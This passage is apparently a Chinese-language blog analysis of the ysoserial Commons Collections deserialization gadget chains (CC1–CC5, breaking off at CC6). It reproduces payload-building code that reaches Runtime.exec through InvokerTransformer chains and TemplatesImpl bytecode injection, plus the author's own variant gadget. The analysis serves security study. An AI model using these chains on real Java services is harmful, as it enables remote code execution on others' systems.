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ysoserial分析【一】 之 Apache Commons Collections

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目录

  • 0x00 前言
  • 0x01 基础知识
    • Transformer
      • 利用InvokerTransformer造成命令执行
    • Map
      • TransformedMap
      • LazyMap
    • AnnotationInvocationHandler
    • 动态代理
  • 0x02 Commons Collections Gadget 分析
    • CommonsCollections1
    • CommonsCollections2
      • 疑问
    • CommonsCollections3
    • CommonsCollections4
    • CommonsCollections5
    • CommonsCollections6
    • CommonsCollections7
  • 0x03 总结
    • 归纳
    • 补丁
  • 0x04 参考

0x00 前言

Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用。

0x01 基础知识

Transformer

Transfomer是Apache Commons Collections库引入的一个接口,每个具体的Transformer类必须实现Transformer接口,比如我自己定义了一个MyTransformer类:

当一个Transformer通过TranformerMap的decorate方法绑定到Map的key或value上时,如果这个Map的key或value发生了变化,则会调用Transformer的transform方法,MyTransformer的transform方法是return this.name。

测试用例如下:

14行创建了一个MyTransformer,并使之this.name="trans-value"。然后在16-18行创建了一个Map,并在20行通过decorate方法将MyTransformer绑定到Map的value上(第二个参数为绑定到key上的Transformer)。接着在22-23行对Map进行setValue,即对Map的value进行修改。这时就会对value触发已经绑定到Map-Value上的MyTransformer的transform方法。看一下MyTransformer的transform方法,已知其直接返回this.name,由于this.name在14行已经被设置成了"trans-value",故这里直接返回这个字符串,赋值给value。看一下运行结果:

可以看到,value已经被transform方法修改成了this.name。

以上是自己写的一个简单的Transformer,下面看一下Apache-Common-Collections-3.1提供的一些Transformer。

首先是ConstantTransformer,跟上面的MyTransformer类似,transform方法都是返回实例化时的第一个参数。

还有一个是InvokerTransformer类,在其transform()方法中可以通过Java反射机制来进行执行任意代码。

可以看到,有三个内部变量可控。然后看他的transform方法。

可以看到,59-61行通过反射,可以调用任意类的任意方法,通过还会传入任意参数,由于input也可控(即新key/value的值),所以由于所有内部变量可控,这里存在RCE。

还有一个比较有意思的Transformer是ChainedTransformer,可以通过一个Trasnformer[]数组来对一个对象进行链式执行transform()。

利用InvokerTransformer造成命令执行

首先利用ChainedTransformer类构建一个Transformer链,通过调用多个Transformer类来造成命令执行,比如以下代码:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{new Object[]{}, new Object[]{}}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

当调用ChainedTransformer.transform()时,会把Transformer[]数组中的所有Transformer一次执行transform()方法,造成命令执行。以上代码相当于这一行代码:

Runtime.getRuntime().getClass().getMethod("exec",new 
Class[]{String.class}).invoke(Runtime.getRuntime(),"calc.exe");

Map

利用Transform来执行命令有时还需要绑定到Map上,这里就讲一下Map。抽象类AbstractMapDecorator是Apache Commons Collections引入的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

TransformedMap

比如TransformedMap:

Map tmpmap = TransformedMap.decorate(normalMap, KeyTransformer, ValueTransformer);

可以将不同的Transformer实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法

因此我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时,自动触发chainedtransformer。

比如以下代码

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{new Object[]{}, new Object[]{}}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

Map normalMap = new HashMap();
normalMap.put("11", "aa");

Map transformedMap = TransformedMap.decorate(normalMap, null, transformerChain);

Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
entry.setValue("newValue");

执行时会自动弹出计算器

LazyMap

除了TransformedMap,还有LazyMap:

Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);

当调用tmpmap.get(key)的key不存在时,会调用TestTransformer的transform()方法

这些不同的Map类型之间的差异也正是CommonsColletions有那么多gadget的原因之一。

AnnotationInvocationHandler

关于AnnotationInvocationHandler类,这个类本身是被设计用来处理Java注解的,可以参考 JAVA 注解的基本原理

动态代理

使用Proxy类实现AOP(面向切面编程)

Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)
/*
ClassLoader loader:
它是类加载器类型,你不用去理睬它,你只需要知道怎么可以获得它就可以了:MyInterface.class.getClassLoader()就可以获取到ClassLoader对象,没错,只要你有一个Class对象就可以获取到ClassLoader对象;

Class[] interfaces:
指定newProxyInstance()方法返回的代理类对象要实现哪些接口(可以指定多个接口),也就是代表我们生成的代理类可以调用这些接口中声明的所有方法。

InvocationHandler h:
它是最重要的一个参数!它是一个接口!它的名字叫调用处理器!无论你调用代理对象的什么方法,它都是在调用InvocationHandler的invoke()方法!
*/

可以参考 Java动态代理InvocationHandler和Proxy学习笔记

0x02 Commons Collections Gadget 分析

CommonsCollections1

public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
    return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
    //利用反射机制调用AnnotationInvocationHandler的构造方法,map作为第二个参数赋值给成员变量memberValues。返回AnnotationInvocationHandler实例对象
    return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}

public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
    final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
    allIfaces[ 0 ] = iface;//将所有的iface复制给allInfaces(包括下面三行都是在做这个事情)
    if ( ifaces.length > 0 ) {
        System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
    }
    //调用Proxy.newProxyInstanc()来创建动态代理
    return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}

public InvocationHandler getObject(final String command) throws Exception {
    //创建Transformer
    final String[] execArgs = new String[] { command };
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    final Map innerMap = new HashMap();
    //将transformerChain绑定到LazyMap中,当调用LazyMap.get(key)的key不存在时,会调用transformerChain的Transformer类的transform()方法
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    //跟进一下这个方法,注意这里传入的第一个参数是lazyMap
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    //创建annotationinvocationhandler类实例,构造函数的第二个参数是上面的代理类实例
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain//设置transformerChain对象的iTransformers属性为transformers,相当与重新赋值,也就是arm with actual transformer chain


    return handler;//返回对象实例,用于序列化作为poc
}

首先是创建利用反射RCE的ChainedTransformer对象,然后将之通过LazyMap.decorate()绑定到LazyMap上,当调用LazyMap.get(key)的key不存在时会调用Transformer的transform()方法。

然后开始创建动态代理

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

createMemoitizedProxy()定义如下

public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
    return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
    //利用反射机制调用AnnotationInvocationHandler的构造方法,map作为第二个参数赋值给成员变量memberValues。返回AnnotationInvocationHandler实例对象
    return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}

public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
    final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
    allIfaces[ 0 ] = iface;//将所有的iface复制给allInfaces(包括下面三行都是在做这个事情)
    if ( ifaces.length > 0 ) {
        System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
    }
    //调用Proxy.newProxyInstanc()来创建动态代理
    return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}

可以看到底层是在createProxy()中调用了Proxy.newProxyInstance()来创建动态代理,关于动态代理的原理请看文章的最后一部分,这里就不做解释了。这里创建动态代理的第3个参数是AnnotationInvocationHandler实例,这个实例的memberValues变量的值就是我们上面创建的LazyMap。

这里使用动态代理的意义在于,只要调用了LazyMap的任意方法,都会直接去调用AnnotationInvocationHandler类的invoke()方法。

至此动态代理已经完成了,创建了代理类实例mapProxy。由于动态代理的特性,当我们调用mapProxy的任何方法时会自动调度给InvocationHandler实现类的invoke()方法,在这里也就是AnnotationInvocationHandler类的invoke()方法。看一下源码

在52行,this.memberValues正是我们上面创建的LazyMap实例,结合LazyMap的特性,只要var4这个键是不存在的,那么就会调用绑定到LazyMap上的Transformer类的transform()方法,也就是我们通过Java反射进行RCE的ChainedTransformer。

继续往下看

    //创建annotationinvocationhandler类实例,构造函数的第二个参数是上面的代理类实例
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain//设置transformerChain对象的iTransformers属性为transformers,相当与重新赋值,也就是arm with actual transformer chain

    return handler;//返回对象实例,用于序列化作为poc

createMemoizedInvocationHandler()就是简单的创建AnnotationInvocationHandler类的实例,并将参数赋值给类的成员变量memberValues。这个实例会被用来序列化作为payload,在触发反序列化漏洞时,会调用AnnotationInvocationHandler类的readObject()方法,而这个实例的memberValues参数的值就是我们上面创建的代理类。看一下readObject()的源码

在283行,调用了this.memberValues的entrySet()方法。由于this.memberValues是我们的代理类,因此并不会真正的进入entrySet()方法,而是进入我们创建动态代理时绑定的AnnotationInvocationHandler的invoke()方法。回顾一下

var4的值是var2.getName(),也就是调用的方法名,即'entrySet'。不满足45行之后的几个if判断,直接进入52行,由于this.memberValues是我们创建的空LazyMap,自然不存在名为entrySet的键,因此进入LazyMap绑定的Transformer类的transform()方法中,然后就是...你懂的了。到这里逻辑基本就可以捋顺了,从漏洞触发点开始,调用链大概是:

ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> this.memberValues.entrySet() = mapProxy.entrySet() -> AnnotationInvocationHandler.invoke() -> this.memberValues.get(xx) = LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> InvokerTransfomer.transform() -> RCE

要注意,这里的两个this.memberValues是不一样的,一个是反序列化的对象的属性,一个是代理的handler对象的属性。

继续把剩下的代码看完。下面一行,通过Reflections.setFieldValue来将我们上面构造的Transformer RCE链赋值给transformerChain的iTransformers属性的值,最后return handler用于序列化,生成payload。尽管这里到最后才把RCE链赋值给transformerChain,实际上也是可以的,LazyMap.decorate()的那个transformerChain也会更新。其实这里完全可以在程序最开始就赋值给transformerChain,经过我的调试,似乎不会影响结果。

CommonsCollections2

直接看一下代码:

public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);//创建TemplatesImpl实例,将反射调用恶意命令的语句插入到一个通过javassist实例的构造方法后,然后把这个实例编译成字节码,赋值给_bytecodes属性。createTemplatesImpl()函数看下方源码.
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));//创建优先队列类,绑定Comparator为上面的transformer实例,当插入元素时,会自动调用transformer.compare()进行排序
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");//设置InvokerTransformer在触发transform()时,调用元素的newTransformer方法。

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;//将上面的TemplatesImpl实例add给queue
    queueArray[1] = 1;

    return queue;
}

public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )//构造StubTransletPayload类,将其字节码赋值给tplClass(也就是TemplatesImpl)对象的_bytecodes属性
        throws Exception {
    final T templates = tplClass.newInstance();//TemplatesImpl实例

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));//添加StubTransletPayload类到ClassPool中
    pool.insertClassPath(new ClassClassPath(abstTranslet));//添加AbstractTranslet类
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());//加载StubTransletPayload类
    // run command in static initializer
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
        command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
        "\");";
    clazz.makeClassInitializer().insertAfter(cmd);//创建一个static constructor,将反射调用系统命令的恶意语句利用insertAfter()插入到这个constructor最后,在返回指令之前被执行。
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    CtClass superC = pool.get(abstTranslet.getName());
    clazz.setSuperclass(superC);//设置AbstractTranslet为StubTransletPayload的父类

    final byte[] classBytes = clazz.toBytecode();//StubTransletPayload的字节码

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes, ClassFiles.classAsBytes(Foo.class)//
    });

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    return templates;
}

首先第一行

final Object templates = Gadgets.createTemplatesImpl(command);

创建了一个TemplatesImpl实例,利用javassist将我们反射执行系统命令的语句编译成字节码赋值给实例的_bytecodes属性。

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )//构造StubTransletPayload类,将其字节码赋值给tplClass(也就是TemplatesImpl)对象的_bytecodes属性
        throws Exception {
    final T templates = tplClass.newInstance();//TemplatesImpl实例

    ...

    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
        command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
        "\");";
    clazz.makeClassInitializer().insertAfter(cmd);//创建一个static constructor,将反射调用系统命令的恶意语句利用insertAfter()插入到这个constructor最后,在返回指令之前被执行。
    
    ...

    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes, ClassFiles.classAsBytes(Foo.class)//
    });

    ...

    return templates;
}

这其实就是JDK 7u21 gadget中执行命令的方式,在反序列化时,调用TemplatesImpl的defineTransletClasses()方法,从而将_bytecodes中的内容进行实例化,造成RCE。看一下这个方法:

而这个_class会在getTransletInstance()方法中进行实例化:

由于以上两个都是私有方法,无法通过InvokerTransformer直接调用,因此需要找到调用getTransletInstance()的地方。比如newTransformer()方法(也就是本gadget利用的方法):

getOutputProperties()也可以利用,因为调用了newTransformer()方法。

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

已知调用这些方法可以触发命令执行,可是我们如何在反序列化时调用TemplatesImpl的这些方法呢?本POC中巧妙地利用了PriorityQueue,废话不多说,先往下看。

final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
queue.add(1);
queue.add(1);

在创建完TemplatesImpl实例之后,紧接着就创建了InvokerTransformer和PriorityQueue实例,第二个参数是new TransformingComparator(transform)。这个参数用于将PriorityQueue中的元素进行排序,也就是调用TransformingComparator.compare()进行排序,看一下compare()方法

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

这里的this.transformer就是构造函数传的参数,在本例中也就是InvokerTransformer实例,可以看到compare()内部会调用InvokerTransformer.transform()方法,而InvokerTransformer已经实例化过了。因此总的来说,这里会调用InvokerTransformer.transform()对queue中的元素进行比较,由于这里的InvokerTransformer实例的iMethodName属性是toString,因此,这里会调用queue中每个元素的toString方法。接着往下看

Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");//TemplatesImpl类有newTransformer()方法

final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;

首先利用反射对transformer的iMethodName由之前的toString赋值为newTransformer。也就是说,之后再对queue中的元素进行比较时,底层会调用每个元素的newTransfomer()方法。而7u21 gadget中正是TemplatesImpl.newTransformer()方法对_bytecodes属性的字节码进行了实例化,是不是悟到了什么..

然后又利用反射,将queue的第一个元素重新赋值为templates实例,也就是本POC最开始的TemplatesImpl实例。最后返回queue,进行序列化。有个小细节,PriorityQueue.writeObject()方法中同样会对queue中的元素也进行序列化,反序列化也是如此。

到这里其实思路已经很清晰了,利用PriorityQueue的对元素的compare,调用到InvokerTransformer,然后对其中的元素执行newTransformer()方法,而我们可以控制元素为含有执行恶意代码的类的_bytecodes属性的TemplatesImpl实例,从而执行TemplatesImpl.newTransformer()对执行恶意代码的类进行实例化,从而造成RCE。调用链大概是:

ObjectInputStream.readObject() -> PriorityQueue.readObject() -> 【TemplatesImpl.readObject()】 -> PriorityQueue.heapify() -> TransformingComparator.compare() -> InvokerTransformer.transform() -> TemplatesImpl.newTransformer() -> 对TemplatesImpl._bytecodes属性进行实例化 -> RCE

疑问

1.为什么要用优先队列来实现?为什么不直接用InvokerTransformer结合TemplatesImpl来实现,只不过需要先触发InvokerTransformer.transform()而已?
答:这只是一种方法而已,并不是唯一一种。目前来说,我感觉ysoserial中的几个Commons Collections中的主要点就是如何从反序列化的readObject()到反射执行代码(比如InvokerTransfomer)的过程,主要是这个中间的方法。比如1中利用的AnnotaionInvocationHandler结合动态代理、2中利用PriorityQueue。

2.为什么要用InvokerTransformer结合TemplatesImpl而不是直接通过PriorityQueue调用ChainedTransformer来直接执行系统命令?
答:这样也是可以的,按照ysoserial的这种定义,这也算是一个新gadget哈哈,poc如下

public Queue<Object> getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };

    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    
    final Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {
            String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {
            Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec",
            new Class[] { String.class }, execArgs),
        new ConstantTransformer(1) };


    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformerChain));
    queue.add(1);
    queue.add(1);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

    return queue;
}

3.为什么不用InvokerTransformer直接执行对Runtime类来反射执行exec()方法?
答:这样首先要把Runtime.getRuntime() add到queue队列中。可是在序列化时需要对queue的元素同样进行序列化,而Runtime没有实现序列化接口,因此会报错。

CommonsCollections3

本gadget在ysoserial中并没有调用栈,取而代之的只有一行

也就是说这条链与CommonsCollections1的区别就是,在CommonsCollections1中使用了ChainedTransformer结合InvokerTransformer类来构建链式反射执行命令的语句,而这里使用ChainedTransformer结合InstantiateTransformer类来进行替代,最终执行的链则是结合了7u21中的TemplatesImpl。

回顾CommonsCollections1,其中利用动态代理的机制,最终触发LazyMap绑定的ChainedTransformer实例,造成命令执行。而在这里由于唯一的区别就是最终执行命令的方式不太一样,因此我们只要分析反序列化之后调用的Transformer类即可,至于如何到达Transformer类,与CommonsCollections1一模一样,参考CommonsCollections1即可。

看一下构造exp的前面部分代码

public Object getObject(final String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);

    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                    new Class[] { Templates.class },
                    new Object[] { templatesImpl } )};

    ...
    }

与CommonsCollections2类似,先创建一个TemplatesImpl实例,其_bytecodes属性中包含能执行恶意语句的类的字节码。然后在ChainedTransformer中有两个Transformer,第一个是ConstantTransformer,直接返回TrAXFilter.class传递给下一个Transformer,也就是InstantiateTransformer。InstantiateTransformer的构造方法传入了两个参数,跟进一下。

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

看一下transform()方法

public Object transform(Object input) {
    try {
        if (!(input instanceof Class)) {
            throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
        } else {
            Constructor con = ((Class)input).getConstructor(this.iParamTypes);
            return con.newInstance(this.iArgs);
        }
    } catch (NoSuchMethodException var6) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException var7) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
    } catch (IllegalAccessException var8) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
    } catch (InvocationTargetException var9) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
    }
}

这里直接获取了Object input的构造方法,然后根据这个构造方法创建了一个input类的实例。在本例中input正是上面的ConstantTransformer传下来的,也就是TrAXFilter.class。因此为了方便理解,这里的大概逻辑是这样的

Constructor con = ((Class)TrAXFilter.class).getConstructor(Templates.class);
return con.newInstance(templatesImpl);

也就是将TemplatesImpl实例作为参数,传入TrAXFilter类的构造方法中。看一下其构造方法

可以看到,其中直接调用了构造参数的newTransformer()方法!是不是很眼熟,没错,这就是CommonsCollections2中通过InvokerTransformer调用的TemplatesImpl类的那个方法。因此到这里整个逻辑就通了。

调用链是结合了CommonsCollections1与7u21,大概如下

ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> this.memberValues.entrySet() = mapProxy.entrySet() -> AnnotationInvocationHandler.invoke() -> this.memberValues.get(xx) = LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer() -> _bytecodes实例化 -> RCE

CommonsCollections4

与CommonsCollections3一样,这个gadget也没写调用链,只说了这条链是将CommonsCollections2中InvokerTransformer换成了InstantiateTransformer,也就是CommonsCollections3中的那个类,利用方法基本一致。

看一下源码

public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));//创建优先队列
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}

其实这个就是将CommonCollections2中TransformingComparator的构造函数参数由InvokerTransformer换成了ChainedTransfomer。在CommonsCollections2中,此处的调用链是

TransformingComparator.compare() -> InvokerTransformer.transform() -> TemplatesImpl.newTransformer() -> 对TemplatesImpl._bytecodes属性进行实例化

而这里的链则是换掉了后面这部分,取而代之的是与CommonsCollections3中类似的InstantiateTransformer。此时的链是

TransformingComparator.compare() -> ChainedTransformer.transform() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer() -> _bytecodes实例化 -> RCE

CommonsCollections5

回顾一下CommonsCollections1中,先利用动态代理调用AnnotationInvocationHandler.invoke(),然后在其中再调用LazyMap.get(not_exist_key),导致触发LazyMap绑定的Transformer。想想这个链能不能简单一点,为什么不找一个readObject()中就有对成员变量调用get(xxx)方法的类?CommonsCollections5正是基于这个思路,因此这个gadget与1的区别仅在于从反序列化到ChainedTransformer.transform()之间,之后的链是一样的。

看一下源码

public BadAttributeValueExpException getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    Reflections.setAccessible(valfield);
    valfield.set(val, entry);//设置BadAttributeValueExpException实例的val属性为TiedMapEntry实例

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return val;
}

可以发现,LazyMap实例化之前的几行都跟CommonsCollection1一模一样。接着往下看剩下几行

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);//设置BadAttributeValueExpException实例的val属性为TiedMapEntry实例

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;

首先将LazyMap实例和foo字符串传入TiedMapEntry构造函数构建实例,然后把这个实例通过反射赋值给BadAttributeValueExpException实例的val属性,最后返回BadAttributeValueExpException实例用于序列化。我们倒着看,先看一下BadAttributeValueExpException的readObject()方法:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

可以看到,在if语句的第三个语句块中,调用了val属性的toString()方法,而这个val属性就是我们的TiedMapEntry实例。看一下TiedMapEntry这个类,以及其toString()方法:

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

    ...
}

再回顾构造gadget时是如何实例化TiedMapEntry类的:


TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

可以看到,LazyMap实例赋值给了this.map,字符串foo赋值给了this.key。然后在调用TiedMapEntry.toString()时间接调用了TiedMapEntry.getValue(),其中调用了this.map.get(this.key)。在这条gadget中也就是

LazyMap.get("foo");

由于LazyMap实例中并不存在foo这个键,因此触发了绑定在LazyMap上的Transformer类的transform()。

调用链如下

BadAttributeValueExpException.readObject() -> TiedMapEntry.toString() -> TiedMapEntry.getValue() -> LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> RCE

CommonsCollections6

这个gadget与5差不多,都是利用了TiedMapEntry中的方法来触发LazyMap绑定的Transformer,不过从反序列化到TiedMapEntry的过程不太一样,先看一下源码

public Serializable getObject(final String command) throws Exception {

    final String[] execArgs = new String[] { command };

